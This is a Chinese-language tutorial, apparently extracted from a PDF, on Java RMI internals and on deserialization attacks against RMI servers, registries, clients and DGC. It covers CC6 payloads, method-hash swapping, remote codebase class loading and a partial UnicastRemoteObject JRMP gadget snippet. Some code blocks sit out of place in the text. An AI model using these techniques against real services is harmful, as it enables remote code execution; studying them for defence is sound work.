零、前⾔ ⼗⼀本来打算不卷了,好好放松放松,但是⼏个事情对我触动⽐较⼤,所以就⼜给⾃⼰设了个搞懂 RMI 反序列化相 关攻击的学习⽬标。 再加上⼀是为后续深⼊ IIOP/T3 打下基础,⼆是最近⼀位师傅问了我关于利⽤ RMI 回显的思路,帮师傅搞了半天没 有搞定,怪我之前对 RMI 只是浅浅的了解,甚⾄都算不上会,没能帮上这位师傅的忙,很是⾃责,所以花点时间学 ⼀学。 这部分的实现略有复杂,本⽂在写的时候也是深感吃⼒,RMI 相关的⽂章在⽹上乱七⼋糟,由于⼜涉及到安全更新 和绕过,之前看了⼏次看的头晕眼花,这次趁着有空梳理⼀下。 个⼈能⼒有限,如有理解错误及偏差,请不吝赐教。 ⼀、RMI 介绍 RMI (Remote Method Invocation) 远程⽅法调⽤,顾名思义,是⼀种调⽤远程位置的对象来执⾏⽅法的思想。 这种思想在 C 语⾔中的 RPC(Remote Procedure Calls)中早就有了体现,但是 RPC 是打包和传送数据结构,⽽ 在 Java 中,我们通常传递⼀个完整的对象,这个对象既包含数据,也包含数据和操作数据的⽅法,Java 中如果想 完整的在⽹络中向远程位置传输⼀个对象,我们通常使⽤的⽅法是 Java 原⽣反序列化,并且可以结合动态类加载 和安全管理器来安全的传输⼀个 Java 类。 ⽽具体的实现思想就是让我们获取远程主机上对象的引⽤,我们调⽤这个引⽤对象,但实际⽅法的执⾏在远程位置 上。 为了屏蔽⽹络通信的复杂性,RMI 引⼊了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端⻣ 架),当客户端(Client)试图调⽤⼀个在远端的 Object 时,实际调⽤的是客户端本地的⼀个代理类(Proxy), 这个代理类就称为 Stub,⽽在调⽤远端(Server)的⽬标类之前,也会经过⼀个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程⽅法调⽤并传递给真实的⽬标类。Stubs 以及 Skeletons 的调⽤对于 RMI 服务的 使⽤者来讲是隐藏的,我们⽆需主动的去调⽤相关的⽅法。但实际的客户端和服务端的⽹络通信时通过 Stub 和 Skeleton 来实现的。 这⾥先简单列⼀下整体调⽤时序图,后⾯会详细进⾏展开说: 使⽤ RMI ,⾸先要定义⼀个我们期望能够远程调⽤的接⼝,这个接⼝必须扩展 java.rmi.Remote 接⼝,⽤来远 程调⽤的对象作为这个接⼝的实例,也将实现这个接⼝,为这个接⼝⽣成的代理(Stub)也是如此。这个接⼝中的 所有⽅法都必须声明抛出 java.rmi.RemoteException 异常,例如: 其次我们来创建这个远程接⼝的实现类,这个类中是真正的执⾏逻辑代码,并且通常会扩展 java.rmi.server.UnicastRemoteObject 类,扩展此类后,RMI 会⾃动将这个类 export 给远程想要调⽤它的 Client 端,同时还提供了⼀些基础的 equals/hashcode/toString ⽅法。这⾥必须为这个实现类提供⼀个构造函 数并且抛出 RemoteException。 在 export 时,会随机绑定⼀个端⼝,监听客户端的请求,所以即使不注册,直接请求这个端⼝也可以通信,这部 分也会在后⾯展开说。 如果不想让远程对象成为 UnicastRemoteObject 的⼦类,后⾯就需要主动的使⽤其静态⽅法 exportObject 来⼿ 动 export 对象。示例代码如下: public interface RemoteInterface extends Remote { public String sayHello() throws RemoteException; public String sayHello(Object name) throws RemoteException; public String sayGoodbye() throws RemoteException; } public class RemoteObject extends UnicastRemoteObject implements RemoteInterface { protected RemoteObject() throws RemoteException { } @Override public String sayHello() throws RemoteException { return "Hello My Friend"; } @Override public String sayHello(Object name) throws RemoteException { return name.getClass().getName(); } @Override public String sayGoodbye() throws RemoteException { return "Bye"; } } 现在可以被远程调⽤的对象被创建好了,接下来改如何调⽤呢?Java RMI 设计了⼀个 Registry 的思想,很好理 解,我们可以使⽤注册表来查找⼀个远端对象的引⽤,更通俗的来讲,这个就是⼀个 RMI 电话本,我们想在某个⼈ 那⾥获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个⼈的名称 (Name)来 找到这个⼈的电话号码(Reference),并通过这个号码找到这个⼈(Remote Object)。 这种电话本的思想,由 java.rmi.registry.Registry 和 java.rmi.Naming 来实现。这⾥分别来说说这两个 东⻄。 先来说说 java.rmi.Naming ,这是⼀个 final 类,提供了在远程对象注册表(Registry)中存储和获取远程对象引 ⽤的⽅法,这个类提供的每个⽅法都有⼀个 URL 格式的参数,格式如下: //host:port/name : host 表示注册表所在的主机 port 表示注册表接受调⽤的端⼝号,默认为 1099 name 表示⼀个注册 Remote Object 的引⽤的名称,不能是注册表中的⼀些关键字 Naming 提供了查询(lookup)、绑定(bind)、重新绑定(rebind)、接触绑定(unbind)、list(列表)⽤来 对注册表进⾏操作。也就是说,Naming 是⼀个⽤来对注册表进⾏操作的类。⽽这些⽅法的具体实现,其实是调⽤ LocateRegistry.getRegistry ⽅法获取了 Registry 接⼝的实现类,并调⽤其相关⽅法进⾏实现的。 那就说到了 java.rmi.registry.Registry 接⼝,这个接⼝在 RMI 下有两个实现类,分别是 RegistryImpl 以及 RegistryImpl_Stub,具体也放⾯后⾯来说。 我们通常使⽤ LocateRegistry#createRegistry() ⽅法来创建注册中⼼: 然后将待调⽤的类进⾏绑定: 客户端进⾏调⽤: public class Registry { public static void main(String args[]) { try { LocateRegistry.createRegistry(1099); System.out.println("Server Start"); } catch (Exception e) { e.printStackTrace(); } } } public class RemoteServer { public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException, InterruptedException { // 创建远程对象 RemoteInterface remoteObject = new RemoteObject(); // 绑定 Naming.bind("rmi://localhost:1099/Hello", remoteObject); } } 这⾥ RemoteInterface 接⼝在 Client/Server/Registry 均应该存在,只不过通常 Registry 与 Server 通常在同⼀端 上。 这样⼀次简单的远程调⽤通信就完成了,但是这其中还有⼏个特性需要说⼀下。 ⾸先是动态类加载,如果客户端在调⽤时,传递了⼀个可序列化对象,这个对象在服务端不存在,则在服务端会抛 出 ClassNotFound 的异常,但是 RMI ⽀持动态类加载,如果设置了 java.rmi.server.codebase ,则会尝试从 其中的地址获取 .class 并加载及反序列化。 可使⽤ System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:9999/"); 进⾏设置, 或使⽤启动参数 -Djava.rmi.server.codebase="http://127.0.0.1:9999/" 进⾏指定。 接下来就是安全策略的设置,因为我们通过⽹络加载外部类并执⾏⽅法,所以我们必须要有⼀个安全管理器来进⾏ 管理,如果没有设置安全管理,则 RMI 不会动态加载任何类,通常我们使⽤: public class RMIClient { public static void main(String[] args) throws RemoteException, NotBoundException { // sun.rmi.registry.RegistryImpl_Stub Registry registry = LocateRegistry.getRegistry("localhost", 1099); System.out.println(Arrays.toString(registry.list())); // lookup and call RemoteInterface stub = (RemoteInterface) registry.lookup("Hello"); System.out.println(stub.sayHello()); System.out.println(stub.sayGoodbye()); } } 管理器应与管理策略相辅相成,所以我们还需要提供⼀个策略⽂件,⾥⾯配置允许那些主机进⾏哪些操作,这⾥为 了⽅便测试,直接设置全部权限: 同样可以使⽤ -Djava.security.policy=rmi.policy 或 System.setProperty("java.security.policy", RemoteServer.class.getClassLoader().getResource("rmi.policy").toString()); 来进⾏设置。 ⼆、源码分析 在⼤概简单了解上⾯的流程后,接下来我们来具体看⼀下实现。如果这部分你有基础,只关注攻击⾏为的话,请从 第三章开始看。 1. 服务注册 ① 远程对象创建 ⾸先我们创建了⼀个远程对象: RemoteInterface remoteObject = new RemoteObject(); ,这个对象继承了 UnicastRemoteObject,这个类⽤于使⽤ JRMP 协议 export 远程对象,并获取与远程对象进⾏通信的 Stub。具体 是什么意思呢?我们看⼀下流程。 在初始化时,会创建⼀个 UnicastServerRef 对象,并调⽤其 exportObject ⽅法来 export RemoteObject 这个 远程对象。 这其中使⽤ sun.rmi.server.Util#createProxy() ⽅法使⽤ RemoteObjectInvocationHandler 来为我们测试 写的 RemoteObject 实现的 RemoteInterface 接⼝创建动态代理。 if (System.getSecurityManager() == null) { System.setSecurityManager(new RMISecurityManager()); } grant { permission java.security.AllPermission; }; 然后创建 sun.rmi.transport.Target 对象,使⽤这个 Target 对象封装了我们远程执⾏⽅法和⽣成的动态代理 类(Stub)。 并调⽤ LiveRef#exportObject 接着调⽤ sun.rmi.transport.tcp.TCPEndpoint#exportObject 监听本地 端⼝。 然后调⽤ TCPTransport 的 exportObject ⽅法将 Target 实例注册到 ObjectTable 中。ObjectTable ⽤来管理所有 发布的服务实例 Target,ObjectTable 提供了根据 ObjectEndpoint 和 Remote 实例两种⽅式查找 Target 的⽅法 (不同参数的 getTarget ⽅法)。 上述流程总结成⼀张图,如下: ⾸先来看⼀下 RemoteObjectInvocationHandler 这个动态代理,继承 RemoteObject 实现 InvocationHandler, 因此这是⼀个可序列化的、可使⽤ RMI 远程传输的动态代理类。既然是动态代理类,⾃然重点关注 invoke ⽅法, 可以看到如果是 Object 的⽅法会调⽤ invokeObjectMethod ⽅法,其他的则调⽤ invokeRemoteMethod ⽅ 法。 ⽽在 invokeRemoteMethod 中实际是委托 RemoteRef 的⼦类 UnicastRef 的 invoke ⽅法执⾏调⽤。 UnicastRef 的 invoke ⽅法是⼀个建⽴连接,执⾏调⽤,并读取结果并反序列化的过程。这⾥,UnicastRef 包含属 性 LiveRef ,LiveRef 类中的 Endpoint、Channel 封装了与⽹络通信相关的⽅法。 反序列化⽅法在 unmarshalValue 中。 ② 注册中⼼创建 在代码中,我们通常使⽤ LocateRegistry.createRegistry(1099); 来创建注册中⼼,那么这个过程⼜发⽣了 什么呢?继续跟代码。 ⾸先是可以看到 createRegistry ⽅法实际 new 了⼀个 RegistryImpl 对象。 RegistryImpl 的构造⽅法中创建 LiveRef 对象,然后创建 UnicastServerRef 对象,最后调⽤ setup 进⾏配置。 在 setup ⽅法中,依旧是使⽤ UnicastServerRef 的 exportObject ⽅法 export 对象,只不过这次 export 的是 RegistryImpl 这个对象。 在 exportObject ⽅法中,重要的⼀步就是使⽤ Util.createProxy() 来创建动态代理,之前提到对远程对象使 ⽤ RemoteObjectInvocationHandler 来创建,但是之前有⼀个 stubClassExists 的判断。 如果需要创建代理的类在本地有 _Stub 的类,则直接使⽤ createStub ⽅法反射调⽤ stub 类的构造⽅法创建类实 例。 这⾥由于是 RegistryImpl 这个类,系统会找到 RegistryImpl_Stub 这个类并进⾏实例化,RegistryImpl_Stub 继承 了 RemoteStub ,实现了 Registry。这个类实现了 bind/list/lookup/rebind/unbind 等 Registry 定义的⽅法,全 部是通过序列化和反序列化来实现的。 创建完代理类之后,会调⽤ setSkeleton ⽅法调⽤ Util.createSkeleton() ⽅法创建 skeleton。 其实就是反射实例化 RegistryImpl_Skel 这个类并引⽤在 UnicastServerRef 的 this.skel 中。 RegistryImpl_Skel 类提供了 dispatch ⽅法来分发具体的操作。 后续的 export 流程相同。 注册中⼼与远程服务对象注册的⼤部分流程相同,差异在: 远程服务对象使⽤动态代理,invoke ⽅法最终调⽤ UnicastRef 的 invoke ⽅法,注册中⼼使⽤ RegistryImpl_Stub,同时还创建了 RegistryImpl_Skel 远程对象默认随机端⼝,注册中⼼默认是 1099(当然也可以指定) ③ 服务注册 注册说⽩了就是 bind 的过程,通常情况下,如果 Server 端和 Registry 在同⼀端,我们可以直接调⽤Registry 的 bind ⽅法进⾏绑定,具体实现在 RegistryImpl 的 bind ⽅法,就是将 Remote 对象和名称 String 放在成员变量 bindings 中,这是⼀个 Hashtable 对象。 如果 Server 端和 Registry 端不在⼀起,那我们需要先获取 Registry 对象,⽆论是使⽤ Naming 或者 LocateRegistry 都是调⽤ LocateRegistry.getRegistry() ⽅法来创建 Registry,这部分的创建过程与注册中 ⼼注册时的过程是⼀致的。⼀些具体的逻辑放在下⾯服务发现来⼀起说。 2. 服务发现 服务发现,就是获取注册中⼼并对其进⾏操作的过程,这⾥⾯包含 Server 端和 Client 端两种。 如果 Server 端和 Registry 在同⼀端,那可以直接使⽤在创建 Registry 时使⽤的 RegistryImpl, 直接调⽤其相关⽅ 法,这没什么好说的。 如果 Server 端和 Registry 不同端,则在 Server 端或 Client 端使⽤ LocateRegistry.getRegistry() ⽅法获取 注册中⼼时都是⼀样的流程: ⾸先在本地创建了⼀个包含了具体通信地址、端⼝的 RegistryImpl_Stub 对象 通过调⽤这个本地的 RegistryImpl_Stub 对象的 bind/list... 等⽅法,来与 Registry 端进⾏通信 ⽽ RegistryImpl_Stub 的每个⽅法,都实际上调⽤了 RemoteRef 的 invoke ⽅法,进⾏了⼀次远程调⽤链接 这个过程使⽤ java 原⽣序列化及反序列化来实现 获取了注册中⼼后,如果是 Server 端,我们希望在注册中⼼上绑定(bind)我们的服务,如果是 Client 端,我们 希望在注册中⼼遍历(list)、查找(lookup)和调⽤服务,查找的逻辑我们放在下⼀部分服务调⽤来说,这⾥主 要关注绑定的过程。 对于 Server 端向注册中⼼上绑定(bind)来说,⽆论是 Registry 还是 Naming 的 bind ⽅法,实际上都是调⽤ Server 端⽣成的本地 RegistryImpl_Stub 的 bind ⽅法。这个⽅法⽐较简单粗暴,建⽴连接然后向流⾥ writeObject 。 实际通过调⽤ UnicastRef 的 invoke ⽅法来进⾏⽹络传输。这⾥有个关键的操作时 marshalCustomCallData ⽅ 法。 使⽤ sun.rmi.server.MarshalOutputStream 封装后会使⽤动态代理类来替换原始类。 以上就 Server 端执⾏ bind ⽅法后进⾏的操作,⼀句话总结就是,根据 Registry 的 host/port 等信息创建本地 RegistryImpl_Stub,然后调⽤其 bind ⽅法向 Registry 端使⽤ writeObject 写⼊ name 和⽣成的动态代理类。 那在 Registry 端都做了什么呢? 在 Registry 端,由 sun.rmi.transport.tcp.TCPTransport#handleMessages 来处理请求,调⽤ serviceCall ⽅法处理。 serviceCall ⽅法中从 ObjectTable 中获取封装的 Target 对象,并获取其中的封装的 UnicastServerRef 以及 RegistryImpl 对象。然后调⽤ UnicastServerRef 的 dispatch ⽅法 UnicastServerRef 的 dispatch ⽅法调⽤ oldDispatch ⽅法,这⾥判断了 this.skel 是否为空,⽤来区别⾃ ⼰是 Registry 还是 Server。 oldDispatch ⽅法调⽤ this.skel 也就是 RegistryImpl_Skel 类的 dispatch ⽅法。 RegistryImpl_Skel 的 dispatch ⽅法根据流中写⼊的不同的操作类型分发给不同的⽅法处理,例如 0 代表着 bind ⽅法,则从流中读取对应的内容,反序列化,然后调⽤ RegistryImpl 的 bind ⽅法进⾏绑定。 以上就是 Server 端向 Registry 端注册服务的整个流程。 3. 服务调⽤ 之后就是 Client 端向 Registry 端查询和请求的过程了。客户端获取 Registry 的流程与上⾯分析的服务端⼀致,这 ⾥不再重复。还是通过调⽤本地创建的 RegistryImpl_Stub 对象。 在调⽤其 lookup ⽅法时,会向 Registry 端传递序列化的 name ,然后将 Registry 端回传的结果反序列化,很好 理解。 这⾥还是关注 Registry 端的做法,依旧是 RegistryImpl_Skel 的 dispatch ⽅法,lookup ⽅法对应的值是 2 ,调 ⽤ RegistryImpl 的 lookup ⽅法,然后将查询到的结果 writeObject 到流中。 Client 拿到 Registry 端返回的动态代理对象并且反序列化后,对其进⾏调⽤,这看起来是本地进⾏调⽤,但实际上 是动态代理的 RemoteObjectInvocationHandler 委托 RemoteRef 的 invoke ⽅法进⾏远程通信,由于这个动态代 理类中保存了真正 Server 端对此项服务监听的端⼝,因此 Client 端直接与 Server 端进⾏通信。 Server 端由 UnicastServerRef 的 dispatch ⽅法来处理客户端的请求,会在 this.hashToMethod_Map 中寻找 Client 端对应执⾏ Method 的 hash 值,如果找到了,则会反序列化 Client 端传来的参数,并且通过反射调⽤。 调⽤后将结果序列化给 Client 端,Client 端拿到结果反序列化,完成整个调⽤的过程。 三、总结 上⼀章描述的有些乱,那么这⾥我们总结⼀下,进⾏⼀个完整的服务注册、发现、调⽤流程,都经历了哪些步骤? 现在能明⽩其他⽂章说的那些稀奇古怪的“存根和⻣架”什么的花⾥胡哨的通信模式都代表什么了吧。 这部分流程在 Javasec ⾥说的也很清楚,如果你觉得上⾯我总结的过程过于复杂,可以看下⾯这部分,我这⾥直接 引⽤: RMI 底层通讯采⽤了Stub (运⾏在客户端) 和 Skeleton (运⾏在服务端) 机制,RMI 调⽤远程⽅法的⼤致如下: 1. RMI 客户端在调⽤远程⽅法时会先创建 Stub ( sun.rmi.registry.RegistryImpl_Stub )。 2. Stub 会将 Remote 对象传递给远程引⽤层 ( java.rmi.server.RemoteRef ) 并创建 java.rmi.server.RemoteCall ( 远程调⽤ )对象。 3. RemoteCall 序列化 RMI 服务名称、Remote 对象。 4. RMI 客户端的远程引⽤层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的⽅式传输到 RMI 服务端的 远程引⽤层。 5. RMI服务端的远程引⽤层( sun.rmi.server.UnicastServerRef )收到请求会请求传递给 Skeleton ( sun.rmi.registry.RegistryImpl_Skel#dispatch )。 6. Skeleton 调⽤ RemoteCall 反序列化 RMI 客户端传过来的序列化。 7. Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定 的接⼝对象,序列化该对象并通过 RemoteCall 传输到客户端。 8. RMI 客户端反序列化服务端结果,获取远程对象的引⽤。 9. RMI 客户端调⽤远程⽅法,RMI服务端反射调⽤RMI服务实现类的对应⽅法并序列化执⾏结果返回给客户端。 10. RMI 客户端反序列化 RMI 远程⽅法调⽤结果。 四、攻击 RMI 有了以上的知识铺垫,相信你对 Java RMI 的具体调⽤过程已经有了相关的了解了,此时去看 Longofo 师傅或 threedr3am 师傅的相关⽂章应该没有问题了,那么接下来我们就开始讨论 RMI 攻击。 参与⼀次 RMI 调⽤的有三个⻆⾊,分别是 Server 端,Registry 端和 Client 端。严格意义上来讲,只有 Registry 端 和使⽤ Registry 的端,因为 Registry 端只负责查询和传递引⽤,真正的⽅法调⽤是不需要经过 Registry 端的,只 不过注册服务的我们称之为 Server 端,使⽤服务的我们称之为 Client 端。有⼀种我只负责帮你找到⼈,⾄于你找 这个⼈做什么⾮法勾当我不管的感觉,不过为了更清晰的划分不同⻆⾊,我们还是将其分为三个⻆⾊,⽽通常情况 下,Server 端和 Registry 端是同⼀端。 在上⾯的 RMI 调⽤过程中我们可以发现,全部的通信流程均通过反序列化实现,⽽且在三个⻆⾊中均进⾏了反序列 化的操作。那也就说明针对三端都有攻击的可能,我们依次来看⼀下。 1. 攻击 Server 端 ① 恶意服务参数 在 Client 端获取到 Server 端创建的 Stub 后,会在本地调⽤这个 Stub 并传递参数,Stub 会序列化这个参数,并传 递给 Server 端,Server 端会反序列化 Client 端传⼊的参数并进⾏调⽤,如果这个参数是 Object 类型的情况下, Client 端可以传给 Server 端任意的类,直接造成反序列化漏洞。 例如,远程调⽤的接⼝ RemoteInterface 存在⼀个 sayGoodbye ⽅法的参数是 Object 类型。 那我们就直接可以传⼀个反序列化 payload 进去执⾏,这⾥我以 CC6 弹计算器为例: 直接弹计算器没商量。这部分就是纯纯的 Java 原⽣反序列化漏洞的利⽤过程,不多说。进⼊下⼀个思考,如果参 数类型不是 Object 类型,那能否进⾏攻击? 答案也是可以的。 在⼀般条件下,通常保证 Server 端和 Client 端调⽤的服务接⼝是⼀样的,那如果不⼀致会怎么样?我们在服务端 的接⼝ RemoteInterface 中定义⼀个 sayHello ⽅法,他接收⼀个在 Server 端存在的 HelloObject 类作为参数。 但是在 Client 端,我们却定义了⼀个接收 Object 参数的⽅法: 那这样能否触发反序列化漏洞呢?我们会发现在尝试调⽤过程中会抛出异常 unrecognized method hash: method not supported by remote object 其实就是在服务端没有找到对应的调⽤⽅法。这个找对应⽅法我们之前说过,是在 UnicastServerRef 的 dispatch ⽅法中在 this.hashToMethod_Map 中通过 Method 的 hash 来查找的。这个 hash 实际上是⼀个基 于⽅法签名的 SHA1 hash 值。 那有没有⼀种可能,我们传递的是 Server 端能找到的参数是 HelloObject 的 Method 的 hash,但是传递的参数却 不是 HelloObject ⽽是恶意的反序列化数据(可能是 Object或其他的类)呢? 答案是可以的,在 mogwailabs 的 PPT 中提出了以下 4 种⽅法: 通过⽹络代理,在流量层修改数据 ⾃定义 “java.rmi” 包的代码,⾃⾏实现 字节码修改 使⽤ debugger 并且在 PPT 中还给出了 hook 点,那就是动态代理中使⽤的 RemoteObjectInvocationHandler 的 invokeRemoteMethod ⽅法。 接下来我们尝试⼀下,由于是学习和测试,这⾥将使⽤最⽅便的 debugger ⽅式。Afant1 师傅使⽤了 Java Agent 的⽅式,在这篇⽂章⾥,0c0c0f 师傅使⽤了流量层的替换,在这篇⽂章⾥,有兴趣的师傅请⾃⾏查看。 Server 端代码不变,我们在 Client 端将 Object 参数和 HelloObject 参数的 sayHello ⽅法都写上,如下: 调⽤时,依旧使⽤ Object 参数的 sayHello ⽅法调⽤。 在 RemoteObjectInvocationHandler 的 invokeRemoteMethod ⽅法处下断,将 Method 改为服务端存在的 HelloObject 的 Method。 发起调⽤,成功弹出计算器。 那么利⽤这种⽅式,就⼤⼤的扩展了利⽤链。RMI 的反序列化逻辑位于 sun.rmi.server.UnicastRef#unmarshalValue ,如下: 可以看到,除了基础数据类型,其他的类型均会调⽤ readObject 进⾏反序列化,甚⾄原本 String 类型的参数也会 ⾛ readObject 反序列化,那么结合之前的替换⼿段,总结起来就是: Server 端的调⽤⽅法存在⾮基础类型的参数时,就可以被恶意 Client 端传⼊恶意数据流触发反序列化漏洞。 ② 动态类加载 之前讨论过,RMI 有⼀个重要的特性,就是动态类加载机制,当本地 ClassPath 中⽆法找到相应的类时,会在指定 的 codebase ⾥加载 class。这个特性在 6u45/7u21 之前都是默认开启的。 为了能够远程加载⽬标类,需要 Server 加载并配置 SecurityManager,并设置 java.rmi.server.useCodebaseOnly=false 。 Server 端调⽤ UnicastServerRef 的 dispatch ⽅法处理客户端请求,调⽤ unmarshalParameters ⽅法反序列 化客户端传来的参数。 反序列化过程由 RMI 封装类 MarshalInputStream 来实现,会调⽤ resolveClass 来解析 Class。 ⾸先通过 this.readLocation() ⽅法读取流中序列化的 java.rmi.server.codebase 地址,这部分信息是 Client 端传来的,然后判断 this.useCodebaseOnly 的值必须为 false,最后调⽤ RMIClassLoader.loadClass() ⽅法加载类,这部分实际上是委托 sun.rmi.server.LoaderHandler 来实现 的,最终调⽤ loadClassForName ⽅法,通过 Class.forName() 传⼊⾃定义类加载器 LoaderHandler$Loader 来从远程地址加载类。 ⽽ LoaderHandler$Loader 是 URLClassLoader 的⼦类。 ⽆论 Server 端还是 Client 端,只要有⼀端配置了 java.rmi.server.codebase ,这个属性都会跟随数据流在两 端流动。 因此 Client 端可以通过配置此项属性,并向 Server 端传递不存在的类,使 Server 端试图从 java.rmi.server.codebase 地址中远程加载恶意类⽽触发攻击。 ③ 替身攻击 在讨论对 Server 端的攻击时,还出现了另外⼀种针对参数的攻击思路,我称其为替身攻击。依旧是⽤来绕过当参 数不是 Object,是指定类型,但是还想触发反序列化的⼀种讨论。 ⼤体的思路就是调⽤的⽅法参数是 HelloObject ,⽽攻击者希望使⽤ CC 链来反序列化,⽐如使⽤了⼀个⼊⼝点 为 HashMap 的 POC,那么攻击者在本地的环境中将 HashMap 重写,让 HashMap 继承 HelloObject,然后实现 反序列化漏洞攻击的逻辑,⽤来欺骗 RMI 的校验机制。 这的确是⼀种思路,但是还不如 hook RMI 代码修改逻辑来得快,所以这⾥不进⾏测试。 2. 攻击 Registry 端 在使⽤ Registry 时,⾸先由 Server 端向 Registry 端绑定服务对象,这个对象是⼀个 Server 端⽣成的动态代理 类,Registry 端会反序列化这个类并存在⾃⼰的 RegistryImpl 的 bindings 中,以供后续的查询。所以如果我们是 ⼀个恶意的 Server 端,向 Registry 端输送了⼀个恶意的对象,在其反序列化时就可以触发恶意调⽤。 可以看到这⾥我依旧是⽤了 CC6 ,因为 bind 的参数是需要是 Remote 类型的,所以这⾥使⽤了 AnnotationInvocationHandler 来代理了 Remote 接⼝,形成了反序列化漏洞。 这⾥需要 Registry 端具有相应的依赖及相应 JDK 版本需求,对于 JDK 版本的讨论将在后⾯进⾏。 这个攻击⼿段实际上就是 ysoserial 中的 ysoserial.exploit.RMIRegistryExploit 的实现原理。 除了 bind,由于 lookup/rebind 等⽅法均通过反序列化传递数据,因此此处的实际攻击⼿段不⽌ bind ⼀种。也就 是说,名义上的 Server 端和 Client 端都可以攻击 Registry 端。 3. 攻击 Client 端 如果攻击的⽬标作为 Client 端,也就是在 Registry 地址可控,或 Registry/Server 端可控,也是可以导致攻击的。 客户端主要有两个交互⾏为,第⼀是从 Registry 端获取调⽤服务的 stub 并反序列化,第⼆步是调⽤服务后获取执 ⾏结果并反序列化。 这部分攻击实战意义较少,并且与上述讨论的攻击 Server 端和 Registry 端的攻击都是镜像⾏为,所以这⾥简单描 述⼀下流程就不再演示了。 ① 恶意 Server Stub 同攻击 Registry 端,Client 端在 Registry 端 lookup 后会拿到⼀个 Server 端注册在 Registry 端的代理对象并反序 列化触发漏洞。 ② 恶意 Server 端返回值 同攻击 Server 端的恶意服务参数,Server 端返回给 Client 端恶意的返回值,Client 端反序列化触发漏洞,不再赘 述。 ③ 动态类加载 同攻击 Server 端的动态类加载,Server 端返回给 Client 端不存在的类,要求 Client 端去 codebase 地址远程加载 恶意类触发漏洞,不再赘述。 4. 攻击 DGC 在之前的调试过程中,也曾看到过 DGC 相关的代码,不过没有分析,统⼀在这⾥来说。 DGC(Distributed Garbage Collection)—— 分布式垃圾回收,当 Server 端返回⼀个对象到 Client 端(远程⽅法 的调⽤⽅)时,其跟踪远程对象在 Client 端中的使⽤。当再没有更多的对 Client 远程对象的引⽤时,或者如果引⽤ 的“租借”过期并且没有更新,服务器将垃圾回收远程对象。启动⼀个 RMI 服务,就会伴随着 DGC 服务端的启动。 RMI 定义了⼀个 java.rmi.dgc.DGC 接⼝,提供了两个⽅法 dirty 和 clean : 客户端想要使⽤服务端上的远程引⽤,使⽤ dirty ⽅法来注册⼀个。同时这还跟租房⼦⼀样,过段时间继续 ⽤的话还要再调⽤⼀次来续租。 客户端不使⽤的时候,需要调⽤ clean ⽅法来清楚这个远程引⽤。 这个接⼝有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub ,同 时还定义了 sun.rmi.transport.DGCImpl_Skel 。 这个命名⽅式是不是看着⾮常眼熟呢? 很像 Registry、RegistryImpl、RegistryImpl_Stub、RegistryImpl_Skel,实际上不单是命名相近,处理逻辑也是类 似的。通过在服务端和客户端之间传递引⽤,依旧是 Stub 与 Skel 之间的通信模式:Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使⽤ RegistryImpl_Skel 来处理。 可以在 Server 端的 ObjectTable 中找到由 Target 封装的 DGCImpl,在 Registry 端的 ObjectTable 中找到由 Target 封装的 DGCImpl_Stub。 DGC 通信的处理类是 DGCImpl_Skel 的 dispatch ⽅法,依旧通过 Java 原⽣的序列化和反序列化来处理对象。 看到这⾥就明⽩了,伴随着 RMI 服务启动的 DGC 通信,也存在被 Java 反序列化利⽤的可能。我们只需要构造⼀个 DGC 通信并在指定的位置写⼊序列化后的恶意类即可。 由于 DGC 通信和 RMI 通信在 Transport 层是同样的处理逻辑,只不过根据 Client 端写⼊的标记来区分是是由 RegistryImpl_Skel 还是 DGCImpl_Skel 来处理,因此我们可以使⽤ DGC 来攻击任意⼀个由 JRMP 协议监听的端 ⼝,包括 Registry 端监听端⼝、RegistryImpl_Stub 监听端⼝、DGCImpl_Stub 监听端⼝。 不过由于后两者的端⼝号是随机的,因此通常使⽤ DGC 层来攻击 Registry 端。 这个攻击⼿段实际上就是 ysoserial 中的 ysoserial.exploit.JRMPClient 的实现原理。 五、反序列化 Gadgets 五、反序列化 Gadgets 学会了 RMI 的相关实现和漏洞利⽤⽅式,可以发现 RMI 中的⼀部分类可以⽤来组成反序列化的 Gadgets。 1. UnicastRemoteObject java.rmi.server.UnicastRemoteObject 类通常是远程调⽤接⼝实现类的⽗类,或直接使⽤其静态⽅法 exportObject 来创建动态代理并随机监听本机端⼝以提供服务。 因此不难理解,在反序列化此类以及其⼦类后,依旧需要执⾏ exportObject 的相关操作,直接来看⼀下 UnicastRemoteObject 的 readObject ⽅法: 会执⾏ this.reexport() ⽅法,可以看到是直接执⾏了 exportObject ⽅法。 那毫⽆疑问这个⽅法会触发 JRMP 监听端⼝,并会对请求进⾏解析和反序列化操作,那就可以配合 DGC 的处理逻 辑来进⾏攻击。 利⽤代码为: public class UnicastRemoteObject1 { public static void main(String[] args) throws Exception { int port = 12233; // 使⽤ Object uro = ClassUtil.createInstanceUnsafely(UnicastRemoteObject.class); Field field = UnicastRemoteObject.class.getDeclaredField("port"); field.setAccessible(true); field.set(uro, port); // 写⼊⽗类 RemoteObject 的 ref 属性防⽌ writeObject 时报错 Field field1 = RemoteObject.class.getDeclaredField("ref"); field1.setAccessible(true); 反序列化调⽤链为: 这部分对应的就是 ysoserial.payloads.JRMPListener 这个 gadget,可以结合 ysoserial.exploit.JRMPListener 来使 ⽤。 但 ysoserial 是使⽤了 UnicastRemoteObject 的⼦类 ActivationGroupImpl 作为实例,我们是直接使⽤ unsafe 直 接创建了 UnicastRemoteObject 对象,没有使⽤⼦类,⼤同⼩异。 2. UnicastRef sun.rmi.server.UnicastRef 类实现了 Externalizable 接⼝,因此在其反序列化时,会调⽤其 readExternal ⽅法执⾏额外的逻辑。 UnicastRef 的 readExternal ⽅法调⽤ LiveRef.read(var1, false) ⽅法来还原成员变量 LiveRef ref 属 性。 LiveRef 的 read ⽅法在创建 LiveRef 对象后,调⽤ DGCClient 的 registerRefs ⽅法来将其在环境中进⾏注册。 field1.set(uro, new UnicastServerRef(port)); SerializeUtil.writeObjectToFile(uro); SerializeUtil.readFileObject(); // 保持进程 Thread.sleep(100000); } } UnicastRemoteObject.readObject() UnicastRemoteObject.reexport() UnicastRemoteObject.exportObject() 